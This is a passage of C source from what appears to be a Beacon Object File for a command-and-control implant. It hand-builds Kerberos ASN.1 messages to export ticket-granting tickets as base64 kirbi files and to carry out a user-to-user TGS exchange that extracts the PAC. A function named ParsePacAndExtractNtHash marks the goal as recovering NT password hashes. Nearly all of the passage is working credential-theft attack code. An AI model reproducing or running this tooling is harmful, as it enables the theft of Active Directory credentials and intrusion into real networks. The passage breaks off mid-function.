(BYTE)(ecpOffset + 2);\n    } else {\n        app29[a29Offset++] = 0x82;\n        app29[a29Offset++] = (BYTE)((ecpOffset + 2) >> 8);\n        app29[a29Offset++] = (BYTE)((ecpOffset + 2) & 0xFF);\n    }\n    app29[a29Offset++] = 0x30;\n    if (ecpOffset < 128) {\n        app29[a29Offset++] = (BYTE)ecpOffset;\n    } else {\n        app29[a29Offset++] = 0x82;\n        app29[a29Offset++] = (BYTE)(ecpOffset >> 8);\n        app29[a29Offset++] = (BYTE)(ecpOffset & 0xFF);\n    }\n    memcpy(app29 + a29Offset, encCredPart, ecpOffset);\n    a29Offset += ecpOffset;\n\n    /* Build enc-part EncryptedData { etype [0] = 0, cipher [2] } */\n    BYTE* encPart = (BYTE*)malloc(a29Offset + 32);\n    int epOffset = 0;\n    /* etype [0] INTEGER 0 */\n    encPart[epOffset++] = 0xA0;\n    encPart[epOffset++] = 0x03;\n    encPart[epOffset++] = 0x02;\n    encPart[epOffset++] = 0x01;\n    encPart[epOffset++] = 0x00;\n    /* cipher [2] OCTET STRING */\n    encPart[epOffset++] = 0xA2;\n    if (a29Offset + 2 < 128) {\n        encPart[epOffset++] = (BYTE)(a29Offset + 2);\n    } else {\n        encPart[epOffset++] = 0x82;\n        encPart[epOffset++] = (BYTE)((a29Offset + 2) >> 8);\n        encPart[epOffset++] = (BYTE)((a29Offset + 2) & 0xFF);\n    }\n    encPart[epOffset++] = 0x04;\n    if (a29Offset < 128) {\n        encPart[epOffset++] = (BYTE)a29Offset;\n    } else {\n        encPart[epOffset++] = 0x82;\n        encPart[epOffset++] = (BYTE)(a29Offset >> 8);\n        encPart[epOffset++] = (BYTE)(a29Offset & 0xFF);\n    }\n    memcpy(encPart + epOffset, app29, a29Offset);\n    epOffset += a29Offset;\n\n    /* Wrap enc-part in SEQUENCE */\n    BYTE* encPartSeq = (BYTE*)malloc(epOffset + 8);\n    int epsOffset = 0;\n    encPartSeq[epsOffset++] = 0x30;\n    if (epOffset < 128) {\n        encPartSeq[epsOffset++] = (BYTE)epOffset;\n    } else {\n        encPartSeq[epsOffset++] = 0x82;\n        encPartSeq[epsOffset++] = (BYTE)(epOffset >> 8);\n        encPartSeq[epsOffset++] = (BYTE)(epOffset & 0xFF);\n    }\n    memcpy(encPartSeq + epsOffset, encPart, epOffset);\n    epsOffset += epOffset;\n\n    /* Build KRB-CRED body */\n    /* pvno [0] INTEGER 5 */\n    kirbi[kOffset++] = 0xA0;\n    kirbi[kOffset++] = 0x03;\n    kirbi[kOffset++] = 0x02;\n    kirbi[kOffset++] = 0x01;\n    kirbi[kOffset++] = 0x05;\n    /* msg-type [1] INTEGER 22 */\n    kirbi[kOffset++] = 0xA1;\n    kirbi[kOffset++] = 0x03;\n    kirbi[kOffset++] = 0x02;\n    kirbi[kOffset++] = 0x01;\n    kirbi[kOffset++] = 0x16;\n    /* tickets [2] SEQUENCE OF Ticket */\n    kirbi[kOffset++] = 0xA2;\n    if (ticketLen + 2 < 128) {\n        kirbi[kOffset++] = (BYTE)(ticketLen + 2);\n    } else {\n        kirbi[kOffset++] = 0x82;\n        kirbi[kOffset++] = (BYTE)((ticketLen + 2) >> 8);\n        kirbi[kOffset++] = (BYTE)((ticketLen + 2) & 0xFF);\n    }\n    kirbi[kOffset++] = 0x30;\n    if (ticketLen < 128) {\n        kirbi[kOffset++] = (BYTE)ticketLen;\n    } else {\n        kirbi[kOffset++] = 0x82;\n        kirbi[kOffset++] = (BYTE)(ticketLen >> 8);\n        kirbi[kOffset++] = (BYTE)(ticketLen & 0xFF);\n    }\n    memcpy(kirbi + kOffset, ticket, ticketLen);\n    kOffset += ticketLen;\n    /* enc-part [3] */\n    kirbi[kOffset++] = 0xA3;\n    if (epsOffset < 128) {\n        kirbi[kOffset++] = (BYTE)epsOffset;\n    } else {\n        kirbi[kOffset++] = 0x82;\n        kirbi[kOffset++] = (BYTE)(epsOffset >> 8);\n        kirbi[kOffset++] = (BYTE)(epsOffset & 0xFF);\n    }\n    memcpy(kirbi + kOffset, encPartSeq, epsOffset);\n    kOffset += epsOffset;\n\n    /* Wrap in SEQUENCE and [APPLICATION 22] */\n    BYTE* final = (BYTE*)malloc(kOffset + 16);\n    int fOffset = 0;\n    final[fOffset++] = 0x76; /* [APPLICATION 22] */\n    if (kOffset + 2 < 128) {\n        final[fOffset++] = (BYTE)(kOffset + 2);\n    } else {\n        final[fOffset++] = 0x82;\n        final[fOffset++] = (BYTE)((kOffset + 2) >> 8);\n        final[fOffset++] = (BYTE)((kOffset + 2) & 0xFF);\n    }\n    final[fOffset++] = 0x30;\n    if (kOffset < 128) {\n        final[fOffset++] = (BYTE)kOffset;\n    } else {\n        final[fOffset++] = 0x82;\n        final[fOffset++] = (BYTE)(kOffset >> 8);\n        final[fOffset++] = (BYTE)(kOffset & 0xFF);\n    }\n    memcpy(final + fOffset, kirbi, kOffset);\n    fOffset += kOffset;\n\n    /* Convert to base64 */\n    CryptBinaryToStringA(final, fOffset, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &b64Len);\n    b64 = (char*)malloc(b64Len + 1);\n    CryptBinaryToStringA(final, fOffset, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, b64, &b64Len);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] TGT (kirbi, base64):\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"%s\", b64);\n\n    free(b64);\n    free(final);\n    free(kirbi);\n    free(credInfo);\n    free(encCredPart);\n    free(app29);\n    free(encPart);\n    free(encPartSeq);\n}\n\n/*\n * =============================================================================\n * U2U - Extract Ticket from AS-REP\n * =============================================================================\n */\n\nstatic BYTE* ExtractTicketFromAsRep(BYTE* asRep, int asRepLen, int* ticketLen) {\n    int offset = 0;\n    int length;\n\n    /* Skip APPLICATION 11 tag */\n    if (asRep[offset] == 0x6B) {\n        offset++;\n        offset += DecodeLength(asRep, offset, &length);\n    }\n\n    /* Skip outer SEQUENCE */\n    if (asRep[offset] == 0x30) {\n        offset++;\n        offset += DecodeLength(asRep, offset, &length);\n    }\n\n    /* Find ticket [5] */\n    while (offset < asRepLen - 10) {\n        if (asRep[offset] == 0xA5) {\n            offset++;\n            offset += DecodeLength(asRep, offset, &length);\n\n            /* The ticket starts here (APPLICATION 1) */\n            *ticketLen = length;\n            BYTE* ticket = (BYTE*)malloc(length);\n            memcpy(ticket, asRep + offset, length);\n            return ticket;\n        } else if ((asRep[offset] & 0xE0) == 0xA0) {\n            offset++;\n            int skipLen;\n            offset += DecodeLength(asRep, offset, &skipLen);\n            offset += skipLen;\n        } else {\n            offset++;\n        }\n    }\n\n    *ticketLen = 0;\n    return NULL;\n}\n\n/*\n * =============================================================================\n * U2U - Build TGS-REQ Structures\n * =============================================================================\n */\n\n/* Key usages for U2U */\n#define KRB_KEY_USAGE_TGS_REQ_AUTH_CKSUM    6\n#define KRB_KEY_USAGE_TGS_REQ_AUTH          7\n#define KRB_KEY_USAGE_TGS_REP_ENCPART_SESSKEY 8\n#define KRB_KEY_USAGE_TICKET_ENCPART        2\n\n/* Global storage for U2U */\nstatic BYTE* g_lastTgt = NULL;\nstatic int g_lastTgtLen = 0;\nstatic char g_lastUser[256] = {0};\nstatic char g_lastRealm[256] = {0};\nstatic char g_lastKdc[256] = {0};\n\n/* Build U2U Authenticator */\nstatic BYTE* BuildU2UAuthenticator(const char* user, const char* realm, BYTE* sessionKey, int sessionKeyLen,\n                                    BYTE* reqBody, int reqBodyLen, int* outLen) {\n    BYTE* authContent = (BYTE*)malloc(4096);\n    int offset = 0;\n    int i;\n\n    /* authenticator-vno [0] INTEGER 5 */\n    int vnoLen;\n    BYTE* vno = BuildInteger(5, &vnoLen);\n    int vnoTagLen;\n    BYTE* vnoTag = BuildContextTag(0, vno, vnoLen, &vnoTagLen);\n    memcpy(authContent + offset, vnoTag, vnoTagLen);\n    offset += vnoTagLen;\n    free(vno);\n    free(vnoTag);\n\n    /* crealm [1] GeneralString */\n    int realmStrLen;\n    BYTE* realmStr = BuildGeneralString(realm, &realmStrLen);\n    int realmTagLen;\n    BYTE* realmTag = BuildContextTag(1, realmStr, realmStrLen, &realmTagLen);\n    memcpy(authContent + offset, realmTag, realmTagLen);\n    offset += realmTagLen;\n    free(realmStr);\n    free(realmTag);\n\n    /* cname [2] PrincipalName */\n    int cnameLen;\n    BYTE* cname = BuildPrincipalName(1, user, NULL, &cnameLen);\n    int cnameTagLen;\n    BYTE* cnameTag = BuildContextTag(2, cname, cnameLen, &cnameTagLen);\n    memcpy(authContent + offset, cnameTag, cnameTagLen);\n    offset += cnameTagLen;\n    free(cname);\n    free(cnameTag);\n\n    /* cksum [3] Checksum - checksum of req-body */\n    /* Checksum ::= SEQUENCE { cksumtype [0] Int32, checksum [1] OCTET STRING } */\n    int checksumValueLen;\n    BYTE* checksumValue = ComputeKerberosChecksum(sessionKey, sessionKeyLen, reqBody, reqBodyLen,\n                                                   KRB_KEY_USAGE_TGS_REQ_AUTH_CKSUM, &checksumValueLen);\n    if (checksumValue) {\n        BYTE cksumContent[64];\n        int cksumOffset = 0;\n\n        /* cksumtype [0] INTEGER 16 */\n        int ctypeLen;\n        BYTE* ctype = BuildInteger(KERB_CHECKSUM_HMAC_SHA1_96_AES256, &ctypeLen);\n        int ctypeTagLen;\n        BYTE* ctypeTag = BuildContextTag(0, ctype, ctypeLen, &ctypeTagLen);\n        memcpy(cksumContent + cksumOffset, ctypeTag, ctypeTagLen);\n        cksumOffset += ctypeTagLen;\n        free(ctype);\n        free(ctypeTag);\n\n        /* checksum [1] OCTET STRING */\n        int cvalLen;\n        BYTE* cval = BuildOctetString(checksumValue, checksumValueLen, &cvalLen);\n        int cvalTagLen;\n        BYTE* cvalTag = BuildContextTag(1, cval, cvalLen, &cvalTagLen);\n        memcpy(cksumContent + cksumOffset, cvalTag, cvalTagLen);\n        cksumOffset += cvalTagLen;\n        free(cval);\n        free(cvalTag);\n        free(checksumValue);\n\n        int cksumSeqLen;\n        BYTE* cksumSeq = BuildSequence(cksumContent, cksumOffset, &cksumSeqLen);\n        int cksumTagLen;\n        BYTE* cksumTag = BuildContextTag(3, cksumSeq, cksumSeqLen, &cksumTagLen);\n        memcpy(authContent + offset, cksumTag, cksumTagLen);\n        offset += cksumTagLen;\n        free(cksumSeq);\n        free(cksumTag);\n    }\n\n    /* cusec [4] Microseconds */\n    SYSTEMTIME st;\n    GetSystemTime(&st);\n    int cusec = st.wMilliseconds * 1000;\n    int cusecLen;\n    BYTE* cusecInt = BuildInteger(cusec, &cusecLen);\n    int cusecTagLen;\n    BYTE* cusecTag = BuildContextTag(4, cusecInt, cusecLen, &cusecTagLen);\n    memcpy(authContent + offset, cusecTag, cusecTagLen);\n    offset += cusecTagLen;\n    free(cusecInt);\n    free(cusecTag);\n\n    /* ctime [5] KerberosTime */\n    char timeStr[32];\n    sprintf(timeStr, \"%04d%02d%02d%02d%02d%02dZ\",\n            st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);\n    int ctimeLen;\n    BYTE* ctime = BuildGeneralizedTime(timeStr, &ctimeLen);\n    int ctimeTagLen;\n    BYTE* ctimeTag = BuildContextTag(5, ctime, ctimeLen, &ctimeTagLen);\n    memcpy(authContent + offset, ctimeTag, ctimeTagLen);\n    offset += ctimeTagLen;\n    free(ctime);\n    free(ctimeTag);\n\n    /* Build Authenticator SEQUENCE */\n    int authSeqLen;\n    BYTE* authSeq = BuildSequence(authContent, offset, &authSeqLen);\n    free(authContent);\n\n    /* Wrap in APPLICATION 2 */\n    BYTE* result = BuildApplication(2, authSeq, authSeqLen, outLen);\n    free(authSeq);\n\n    return result;\n}\n\n/* Build U2U AP-REQ */\nstatic BYTE* BuildU2UApReq(BYTE* ticket, int ticketLen, BYTE* encAuthenticator, int encAuthLen, int* outLen) {\n    BYTE* apReqContent = (BYTE*)malloc(ticketLen + encAuthLen + 256);\n    int offset = 0;\n\n    /* pvno [0] INTEGER 5 */\n    int pvnoLen;\n    BYTE* pvno = BuildInteger(5, &pvnoLen);\n    int pvnoTagLen;\n    BYTE* pvnoTag = BuildContextTag(0, pvno, pvnoLen, &pvnoTagLen);\n    memcpy(apReqContent + offset, pvnoTag, pvnoTagLen);\n    offset += pvnoTagLen;\n    free(pvno);\n    free(pvnoTag);\n\n    /* msg-type [1] INTEGER 14 (AP-REQ) */\n    int mtLen;\n    BYTE* mt = BuildInteger(14, &mtLen);\n    int mtTagLen;\n    BYTE* mtTag = BuildContextTag(1, mt, mtLen, &mtTagLen);\n    memcpy(apReqContent + offset, mtTag, mtTagLen);\n    offset += mtTagLen;\n    free(mt);\n    free(mtTag);\n\n    /* ap-options [2] BIT STRING (no options) */\n    BYTE apOptions[] = { 0x00, 0x00, 0x00, 0x00 };\n    int apOptBsLen;\n    BYTE* apOptBs = BuildBitString(apOptions, 4, &apOptBsLen);\n    int apOptTagLen;\n    BYTE* apOptTag = BuildContextTag(2, apOptBs, apOptBsLen, &apOptTagLen);\n    memcpy(apReqContent + offset, apOptTag, apOptTagLen);\n    offset += apOptTagLen;\n    free(apOptBs);\n    free(apOptTag);\n\n    /* ticket [3] Ticket */\n    int ticketTagLen;\n    BYTE* ticketTag = BuildContextTag(3, ticket, ticketLen, &ticketTagLen);\n    memcpy(apReqContent + offset, ticketTag, ticketTagLen);\n    offset += ticketTagLen;\n    free(ticketTag);\n\n    /* authenticator [4] EncryptedData */\n    /* EncryptedData ::= SEQUENCE { etype [0], cipher [2] } */\n    static BYTE encDataContent[4096];  /* static to avoid BOF stack overflow */\n    int edOffset = 0;\n\n    /* etype [0] INTEGER 18 (AES256) */\n    int etypeLen;\n    BYTE* etype = BuildInteger(ETYPE_AES256_CTS_HMAC_SHA1, &etypeLen);\n    int etypeTagLen;\n    BYTE* etypeTag = BuildContextTag(0, etype, etypeLen, &etypeTagLen);\n    memcpy(encDataContent + edOffset, etypeTag, etypeTagLen);\n    edOffset += etypeTagLen;\n    free(etype);\n    free(etypeTag);\n\n    /* cipher [2] OCTET STRING */\n    int cipherLen;\n    BYTE* cipher = BuildOctetString(encAuthenticator, encAuthLen, &cipherLen);\n    int cipherTagLen;\n    BYTE* cipherTag = BuildContextTag(2, cipher, cipherLen, &cipherTagLen);\n    memcpy(encDataContent + edOffset, cipherTag, cipherTagLen);\n    edOffset += cipherTagLen;\n    free(cipher);\n    free(cipherTag);\n\n    int encDataSeqLen;\n    BYTE* encDataSeq = BuildSequence(encDataContent, edOffset, &encDataSeqLen);\n    int encDataTagLen;\n    BYTE* encDataTag = BuildContextTag(4, encDataSeq, encDataSeqLen, &encDataTagLen);\n    memcpy(apReqContent + offset, encDataTag, encDataTagLen);\n    offset += encDataTagLen;\n    free(encDataSeq);\n    free(encDataTag);\n\n    /* Build AP-REQ SEQUENCE */\n    int apReqSeqLen;\n    BYTE* apReqSeq = BuildSequence(apReqContent, offset, &apReqSeqLen);\n    free(apReqContent);\n\n    /* Wrap in APPLICATION 14 */\n    BYTE* result = BuildApplication(14, apReqSeq, apReqSeqLen, outLen);\n    free(apReqSeq);\n\n    return result;\n}\n\n/* Build U2U TGS-REQ */\nstatic BYTE* BuildU2UTgsReq(const char* user, const char* realm, BYTE* ticket, int ticketLen,\n                            BYTE* sessionKey, int sessionKeyLen, int* outLen) {\n    BYTE* reqBodyContent = (BYTE*)malloc(4096);\n    int rbOffset = 0;\n    int i;\n\n    /* kdc-options [0] BIT STRING */\n    /* 0x40810018 = forwardable, renewable, canonicalize, renewable-ok, enc-tkt-in-skey */\n    BYTE kdcOptions[] = { 0x40, 0x81, 0x00, 0x18 };\n    int kdcOptBsLen;\n    BYTE* kdcOptBs = BuildBitString(kdcOptions, 4, &kdcOptBsLen);\n    int kdcOptTagLen;\n    BYTE* kdcOptTag = BuildContextTag(0, kdcOptBs, kdcOptBsLen, &kdcOptTagLen);\n    memcpy(reqBodyContent + rbOffset, kdcOptTag, kdcOptTagLen);\n    rbOffset += kdcOptTagLen;\n    free(kdcOptBs);\n    free(kdcOptTag);\n\n    /* realm [2] Realm */\n    int realmStrLen;\n    BYTE* realmStr = BuildGeneralString(realm, &realmStrLen);\n    int realmTagLen;\n    BYTE* realmTag = BuildContextTag(2, realmStr, realmStrLen, &realmTagLen);\n    memcpy(reqBodyContent + rbOffset, realmTag, realmTagLen);\n    rbOffset += realmTagLen;\n    free(realmStr);\n    free(realmTag);\n\n    /* sname [3] PrincipalName - target is ourselves */\n    int snameLen;\n    BYTE* sname = BuildPrincipalName(1, user, NULL, &snameLen);\n    int snameTagLen;\n    BYTE* snameTag = BuildContextTag(3, sname, snameLen, &snameTagLen);\n    memcpy(reqBodyContent + rbOffset, snameTag, snameTagLen);\n    rbOffset += snameTagLen;\n    free(sname);\n    free(snameTag);\n\n    /* till [5] KerberosTime - tomorrow */\n    SYSTEMTIME st;\n    GetSystemTime(&st);\n    char tillStr[32];\n    sprintf(tillStr, \"%04d%02d%02d%02d%02d%02dZ\",\n            st.wYear, st.wMonth, st.wDay + 1, st.wHour, st.wMinute, st.wSecond);\n    int tillLen;\n    BYTE* till = BuildGeneralizedTime(tillStr, &tillLen);\n    int tillTagLen;\n    BYTE* tillTag = BuildContextTag(5, till, tillLen, &tillTagLen);\n    memcpy(reqBodyContent + rbOffset, tillTag, tillTagLen);\n    rbOffset += tillTagLen;\n    free(till);\n    free(tillTag);\n\n    /* nonce [7] UInt32 */\n    int nonce = g_nonce + 1;\n    int nonceLen;\n    BYTE* nonceInt = BuildInteger(nonce, &nonceLen);\n    int nonceTagLen;\n    BYTE* nonceTag = BuildContextTag(7, nonceInt, nonceLen, &nonceTagLen);\n    memcpy(reqBodyContent + rbOffset, nonceTag, nonceTagLen);\n    rbOffset += nonceTagLen;\n    free(nonceInt);\n    free(nonceTag);\n\n    /* etype [8] SEQUENCE OF Int32 */\n    BYTE etypeContent[32];\n    int etOffset = 0;\n    int aes256Len, aes128Len, rc4Len;\n    BYTE* aes256 = BuildInteger(18, &aes256Len);\n    memcpy(etypeContent + etOffset, aes256, aes256Len);\n    etOffset += aes256Len;\n    free(aes256);\n    BYTE* aes128 = BuildInteger(17, &aes128Len);\n    memcpy(etypeContent + etOffset, aes128, aes128Len);\n    etOffset += aes128Len;\n    free(aes128);\n    BYTE* rc4 = BuildInteger(23, &rc4Len);\n    memcpy(etypeContent + etOffset, rc4, rc4Len);\n    etOffset += rc4Len;\n    free(rc4);\n\n    int etypeSeqLen;\n    BYTE* etypeSeq = BuildSequence(etypeContent, etOffset, &etypeSeqLen);\n    int etypeTagLen;\n    BYTE* etypeTag = BuildContextTag(8, etypeSeq, etypeSeqLen, &etypeTagLen);\n    memcpy(reqBodyContent + rbOffset, etypeTag, etypeTagLen);\n    rbOffset += etypeTagLen;\n    free(etypeSeq);\n    free(etypeTag);\n\n    /* additional-tickets [11] SEQUENCE OF Ticket - our TGT for U2U */\n    int addTicketsSeqLen;\n    BYTE* addTicketsSeq = BuildSequence(ticket, ticketLen, &addTicketsSeqLen);\n    int addTicketsTagLen;\n    BYTE* addTicketsTag = BuildContextTag(11, addTicketsSeq, addTicketsSeqLen, &addTicketsTagLen);\n    memcpy(reqBodyContent + rbOffset, addTicketsTag, addTicketsTagLen);\n    rbOffset += addTicketsTagLen;\n    free(addTicketsSeq);\n    free(addTicketsTag);\n\n    /* Build req-body SEQUENCE */\n    int reqBodySeqLen;\n    BYTE* reqBodySeq = BuildSequence(reqBodyContent, rbOffset, &reqBodySeqLen);\n    free(reqBodyContent);\n\n    /* Build Authenticator with checksum of req-body */\n    int authenticatorLen;\n    BYTE* authenticator = BuildU2UAuthenticator(user, realm, sessionKey, sessionKeyLen,\n                                                 reqBodySeq, reqBodySeqLen, &authenticatorLen);\n    if (!authenticator) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to build U2U authenticator\");\n        free(reqBodySeq);\n        return NULL;\n    }\n\n    /* Encrypt authenticator with session key (key usage 7) */\n    int encAuthLen;\n    BYTE* encAuth = KerberosEncrypt(ETYPE_AES256_CTS_HMAC_SHA1, KRB_KEY_USAGE_TGS_REQ_AUTH,\n                                     sessionKey, sessionKeyLen, authenticator, authenticatorLen, &encAuthLen);\n    free(authenticator);\n\n    if (!encAuth) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to encrypt U2U authenticator\");\n        free(reqBodySeq);\n        return NULL;\n    }\n\n    /* Build AP-REQ */\n    int apReqLen;\n    BYTE* apReq = BuildU2UApReq(ticket, ticketLen, encAuth, encAuthLen, &apReqLen);\n    free(encAuth);\n\n    if (!apReq) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to build U2U AP-REQ\");\n        free(reqBodySeq);\n        return NULL;\n    }\n\n    /* Build PA-TGS-REQ (padata-type 1) */\n    static BYTE padataContent[4096];  /* static to avoid BOF stack overflow */\n    int paOffset = 0;\n\n    /* padata-type [1] INTEGER 1 */\n    int ptLen;\n    BYTE* pt = BuildInteger(1, &ptLen);\n    int ptTagLen;\n    BYTE* ptTag = BuildContextTag(1, pt, ptLen, &ptTagLen);\n    memcpy(padataContent + paOffset, ptTag, ptTagLen);\n    paOffset += ptTagLen;\n    free(pt);\n    free(ptTag);\n\n    /* padata-value [2] OCTET STRING (AP-REQ) */\n    int pvLen;\n    BYTE* pv = BuildOctetString(apReq, apReqLen, &pvLen);\n    int pvTagLen;\n    BYTE* pvTag = BuildContextTag(2, pv, pvLen, &pvTagLen);\n    memcpy(padataContent + paOffset, pvTag, pvTagLen);\n    paOffset += pvTagLen;\n    free(pv);\n    free(pvTag);\n    free(apReq);\n\n    int padataSeqLen;\n    BYTE* padataSeq = BuildSequence(padataContent, paOffset, &padataSeqLen);\n\n    /* padata [3] SEQUENCE OF PA-DATA */\n    int padataOuterSeqLen;\n    BYTE* padataOuterSeq = BuildSequence(padataSeq, padataSeqLen, &padataOuterSeqLen);\n    free(padataSeq);\n    int padataTagLen;\n    BYTE* padataTag = BuildContextTag(3, padataOuterSeq, padataOuterSeqLen, &padataTagLen);\n    free(padataOuterSeq);\n\n    /* Build TGS-REQ */\n    static BYTE tgsReqContent[8192];  /* static to avoid BOF stack overflow */\n    int tgsOffset = 0;\n\n    /* pvno [1] INTEGER 5 */\n    int pvnoLen;\n    BYTE* pvno = BuildInteger(5, &pvnoLen);\n    int pvnoTagLen;\n    BYTE* pvnoTag = BuildContextTag(1, pvno, pvnoLen, &pvnoTagLen);\n    memcpy(tgsReqContent + tgsOffset, pvnoTag, pvnoTagLen);\n    tgsOffset += pvnoTagLen;\n    free(pvno);\n    free(pvnoTag);\n\n    /* msg-type [2] INTEGER 12 (TGS-REQ) */\n    int mtLen;\n    BYTE* mt = BuildInteger(12, &mtLen);\n    int mtTagLen;\n    BYTE* mtTag = BuildContextTag(2, mt, mtLen, &mtTagLen);\n    memcpy(tgsReqContent + tgsOffset, mtTag, mtTagLen);\n    tgsOffset += mtTagLen;\n    free(mt);\n    free(mtTag);\n\n    /* padata [3] */\n    memcpy(tgsReqContent + tgsOffset, padataTag, padataTagLen);\n    tgsOffset += padataTagLen;\n    free(padataTag);\n\n    /* req-body [4] */\n    int reqBodyTagLen;\n    BYTE* reqBodyTag = BuildContextTag(4, reqBodySeq, reqBodySeqLen, &reqBodyTagLen);\n    memcpy(tgsReqContent + tgsOffset, reqBodyTag, reqBodyTagLen);\n    tgsOffset += reqBodyTagLen;\n    free(reqBodyTag);\n    free(reqBodySeq);\n\n    /* Build TGS-REQ SEQUENCE */\n    int tgsReqSeqLen;\n    BYTE* tgsReqSeq = BuildSequence(tgsReqContent, tgsOffset, &tgsReqSeqLen);\n\n    /* Wrap in APPLICATION 12 */\n    BYTE* result = BuildApplication(12, tgsReqSeq, tgsReqSeqLen, outLen);\n    free(tgsReqSeq);\n\n    return result;\n}\n\n/*\n * =============================================================================\n * U2U - TGS-REP Processing\n * =============================================================================\n */\n\n/* Extract ticket enc-part cipher from TGS-REP ticket */\nstatic BYTE* ExtractTicketEncPartFromTgsRep(BYTE* tgsRep, int tgsRepLen, int* cipherLen) {\n    int offset = 0;\n    int length;\n\n    /* Skip APPLICATION 13 */\n    if (tgsRep[offset] == 0x6D) {\n        offset++;\n        offset += DecodeLength(tgsRep, offset, &length);\n    }\n\n    /* Skip outer SEQUENCE */\n    if (tgsRep[offset] == 0x30) {\n        offset++;\n        offset += DecodeLength(tgsRep, offset, &length);\n    }\n\n    /* Find ticket [5] */\n    while (offset < tgsRepLen - 10) {\n        if (tgsRep[offset] == 0xA5) {\n            offset++;\n            offset += DecodeLength(tgsRep, offset, &length);\n            int ticketEnd = offset + length;\n\n            /* Skip APPLICATION 1 if present */\n            if (tgsRep[offset] == 0x61) {\n                offset++;\n                offset += DecodeLength(tgsRep, offset, &length);\n            }\n\n            /* Skip SEQUENCE */\n            if (tgsRep[offset] == 0x30) {\n                offset++;\n                offset += DecodeLength(tgsRep, offset, &length);\n            }\n\n            /* Find enc-part [3] in ticket */\n            while (offset < ticketEnd - 10) {\n                if (tgsRep[offset] == 0xA3) {\n                    offset++;\n                    offset += DecodeLength(tgsRep, offset, &length);\n\n                    /* EncryptedData SEQUENCE */\n                    if (tgsRep[offset] == 0x30) {\n                        offset++;\n                        int encDataLen;\n                        offset += DecodeLength(tgsRep, offset, &encDataLen);\n                        int encDataEnd = offset + encDataLen;\n\n                        /* Find cipher [2] */\n                        while (offset < encDataEnd) {\n                            if (tgsRep[offset] == 0xA2) {\n                                offset++;\n                                offset += DecodeLength(tgsRep, offset, &length);\n                                if (tgsRep[offset] == 0x04) {\n                                    offset++;\n                                    offset += DecodeLength(tgsRep, offset, cipherLen);\n                                    BYTE* cipher = (BYTE*)malloc(*cipherLen);\n                                    memcpy(cipher, tgsRep + offset, *cipherLen);\n                                    return cipher;\n                                }\n                            } else if ((tgsRep[offset] & 0xE0) == 0xA0) {\n                                offset++;\n                                int skipLen;\n                                offset += DecodeLength(tgsRep, offset, &skipLen);\n                                offset += skipLen;\n                            } else {\n                                offset++;\n                            }\n                        }\n                    }\n                    break;\n                } else if ((tgsRep[offset] & 0xE0) == 0xA0) {\n                    offset++;\n                    int skipLen;\n                    offset += DecodeLength(tgsRep, offset, &skipLen);\n                    offset += skipLen;\n                } else {\n                    offset++;\n                }\n            }\n            break;\n        } else if ((tgsRep[offset] & 0xE0) == 0xA0) {\n            offset++;\n            int skipLen;\n            offset += DecodeLength(tgsRep, offset, &skipLen);\n            offset += skipLen;\n        } else {\n            offset++;\n        }\n    }\n\n    *cipherLen = 0;\n    return NULL;\n}\n\n/* Extract PAC from EncTicketPart authorization-data */\nstatic BYTE* ExtractPacFromEncTicketPart(BYTE* encTicketPart, int encTicketPartLen, int* pacLen) {\n    int offset = 0;\n    int length;\n\n    /* Skip APPLICATION 3 if present */\n    if (encTicketPart[offset] == 0x63) {\n        offset++;\n        offset += DecodeLength(encTicketPart, offset, &length);\n    }\n\n    /* Skip SEQUENCE */\n    if (encTicketPart[offset] == 0x30) {\n        offset++;\n        offset += DecodeLength(encTicketPart, offset, &length);\n    }\n\n    /* Find authorization-data [10] */\n    while (offset < encTicketPartLen - 10) {\n        if (encTicketPart[offset] == 0xAA) {\n            offset++;\n            int authDataLen;\n            offset += DecodeLength(encTicketPart, offset, &authDataLen);\n\n            /* Parse authorization-data for PAC (ad-type 128) */\n            /* May be wrapped in AD-IF-RELEVANT (type 1) */\n            return ExtractPacFromAuthData(encTicketPart + offset, authDataLen, pacLen);\n        } else if ((encTicketPart[offset] & 0xE0) == 0xA0) {\n            offset++;\n            int skipLen;\n            offset += DecodeLength(encTicketPart, offset, &skipLen);\n            offset += skipLen;\n        } else {\n            offset++;\n        }\n    }\n\n    *pacLen = 0;\n    return NULL;\n}\n\n/* Recursive extraction of PAC from AuthorizationData */\nstatic BYTE* ExtractPacFromAuthData(BYTE* authData, int authDataLen, int* pacLen) {\n    int offset = 0;\n    int length;\n\n    /* Skip SEQUENCE if present */\n    if (authData[offset] == 0x30) {\n        offset++;\n        offset += DecodeLength(authData, offset, &length);\n    }\n\n    while (offset < authDataLen - 5) {\n        if (authData[offset] == 0x30) {\n            offset++;\n            int elemLen;\n            offset += DecodeLength(authData, offset, &elemLen);\n            int elemEnd = offset + elemLen;\n\n            int adType = -1;\n            BYTE* adData = NULL;\n            int adDataLen = 0;\n\n            while (offset < elemEnd) {\n                if (authData[offset] == 0xA0) { /* ad-type [0] */\n                    offset++;\n                    offset += DecodeLength(authData, offset, &length);\n                    if (authData[offset] == 0x02) {\n                        offset++;\n                        int intLen = authData[offset++];\n                        adType = 0;\n                        for (int i = 0; i < intLen; i++) {\n                            adType = (adType << 8) | authData[offset++];\n                        }\n                    }\n                } else if (authData[offset] == 0xA1) { /* ad-data [1] */\n                    offset++;\n                    offset += DecodeLength(authData, offset, &length);\n                    if (authData[offset] == 0x04) {\n                        offset++;\n                        offset += DecodeLength(authData, offset, &adDataLen);\n                        adData = authData + offset;\n                        offset += adDataLen;\n                    }\n                } else {\n                    offset++;\n                }\n            }\n\n            if (adType == 1 && adData) { /* AD-IF-RELEVANT - recurse */\n                BYTE* result = ExtractPacFromAuthData(adData, adDataLen, pacLen);\n                if (result) return result;\n            } else if (adType == 128 && adData) { /* PAC */\n                BYTE* result = (BYTE*)malloc(adDataLen);\n                memcpy(result, adData, adDataLen);\n                *pacLen = adDataLen;\n                return result;\n            }\n\n            offset = elemEnd;\n        } else {\n            offset++;\n        }\n    }\n\n    *pacLen = 0;\n    return NULL;\n}\n\n/* Parse PAC structure and extract PAC_CREDENTIAL_INFO */\nstatic void ParsePacAndExtractNtHash(BYTE* pac, int pacLen, BYTE* replyKey, int replyKeyLen) {\n    if (pacLen < 8) {\n        